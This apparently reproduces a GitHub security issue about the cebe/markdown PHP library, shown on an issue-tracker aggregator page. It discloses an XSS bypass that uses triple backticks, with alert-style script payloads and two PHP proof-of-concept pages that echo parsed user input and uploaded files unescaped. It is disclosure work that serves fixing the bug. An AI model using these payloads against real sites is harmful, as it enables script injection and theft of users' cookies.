Inconsistent behavior of multiple backticks
Nobody has claimed this yet.
Assessment
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Newbie friendliness
- 25/100
Research direction
Start by reproducing the supplied PoC against GithubMarkdown, Markdown, and MarkdownExtra, then inspect the parser paths handling multiple backticks. No repository file or test is named in the issue. Done means the crafted payload no longer renders executable script content in any of the three parsers, with regression coverage added for the reported cases.
Written by the indexing model from the issue text.
Description
Issue
There is a reflected and/or stored xss vulnerability (depending on how the markdown is parsed from user input or from a user uploaded file) from a crafted use of backticks, in all of the following parsers:
GithubMarkdownMarkdownMarkdownExtra
How?
The vulnerability occurs when a user crafts a malicious payload with characters before a 3 backtick wrapped payload, thus bypassing the parser escape. For example, here is an image of the payloads crafted with single, double, and triple backticks:
And here is an image of the payloads rendered:

As you can see when the payload is crafted correctly using three backticks, the parser will render it as a script, this can allow malicious individuals to render scripts within a .md file or within a text box on any platform that is using this as the markdown parser. An example of a ran script:

Impact
Doing a quick search on Github for the code that enables your parser: new \cebe\markdown\. I get this many results:

The vulnerability can be either stored using an .md file (README for example), or reflected if the markdown parser is just parsing the user input text. Malicious attackers can use this method to steal sensitive user data. For example to steal a users cookies:

This can allow serious impacts on not only the end users using the site, but the reputation of the website as well.
Proof of Concept
User input
You can use the following code for a PoC on user entered text:
<?php
/*
* to run this PoC do the following:
* composer require cebe/markdown "~1.2.0"
*
* For proof that the markdown is not sent as a script do:
* `<script>alert(1);</script>`
* this will output the script in a safe way.
*
* To make an alert do:
* L: ```<script>alert(1);</script>```
* this will display a rendered alert
* */
include 'vendor/autoload.php';
function parseData($data) {
$parserGithub = new cebe\markdown\GithubMarkdown();
$parserMarkdown = new cebe\markdown\Markdown();
$parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
return [
"<div class='parsed-github'>".$parserGithub->parse($data)."</div>",
"<div class='parsed-markdown'>".$parserMarkdown->parse($data)."</div>",
"<div class='parsed-markdown-extra'>".$parserMarkdownExtra->parse($data)."</div>"
];
}
if (isset($_GET['poc'])) {
$parsed = parseData($_GET['poc']);
echo "<!doctype html>
<title>PoC</title>
<body>
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
</body>";
} else {
echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
<form action='#'>
<label for='markdown-poc'>Markdown: </label>
<input id='markdown-poc' type='text' name='poc'>
<input type='submit' name='Submit'>
</form>
</body>";
}
MD file
And you can use the following code for a PoC on text read from an MD file:
<?php
/*
* to use this PoC you will need composer to require the library:
* `composer require cebe/markdown "~1.2.0"`
*
* After this has been done you can create an MD file anywhere on your system,
* to verify that the parser to render the data in a safe way use `<script>alert(1);</script>`,
* or whatever script you decide to use
*
* In order to get the data rendered as javascript:
* L: ```<script>alert();</script>``` or whatever script you decide to render
* */
include 'vendor/autoload.php';
function renderFileContent($fname) {
return file_get_contents($fname);
}
if (isset($_POST['upload'])) {
$tmpName = $_FILES['poc']['tmp_name'];
$contents = renderFileContent($tmpName);
$parserGithub = new cebe\markdown\GithubMarkdown();
$parserMarkdown = new cebe\markdown\Markdown();
$parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
$dataGithub = $parserGithub->parse($contents);
$dataMarkdown = $parserMarkdown->parse($contents);
$dataMarkdownExtra = $parserMarkdownExtra->parse($contents);
$parsed = [
"<div class='parsed-github'>" . $parserGithub->parse($dataGithub) . "</div>",
"<div class='parsed-markdown'>" . $parserMarkdown->parse($dataMarkdown) . "</div>",
"<div class='parsed-markdown-extra'>" . $parserMarkdownExtra->parse($dataMarkdownExtra) . "</div>"
];
echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
</body>";
} else {
echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
<form action='#' method='post' enctype='multipart/form-data'>
<span>Upload file:</span>
<input type='file' name='poc'>
<input type='submit' name='upload' value='Upload'>
</form>
</body>
";
}
- Dominant language
- HTML
- Stars
- 1k
- Forks
- 137
- PR merge metrics
- No merged PRs in 30d
Getting set up
- No Dockerfile or Docker Compose file
- No pull request template
- Read the contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from cebe/markdown
-
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
-
Difficulty 5/5 Over a week Newbie friendliness 25/100
-
Maintenance status?Open
Difficulty 5/5 Over a week Newbie friendliness 15/100
-
Difficulty 3/5 1-2 days Newbie friendliness 38/100
-
Difficulty 3/5 1-2 days Newbie friendliness 42/100
Similar issues
-
bug: directory index route root priority is overwritten when wildcard is falsePossibly taken @TalhaHunter101 claimed this today. Open
Difficulty 2/5 1-3 hours Newbie friendliness 84/100
fastify/fastify-static#617 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
Maintainers usually reply within 1 day
-
bug go
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
genkit-ai/genkit#6761 · 1 comment ·
Maintainers usually reply within 2 days
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 87/100
Maintainers usually reply within 2 days
-
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
spring-projects/spring-grpc#442 ·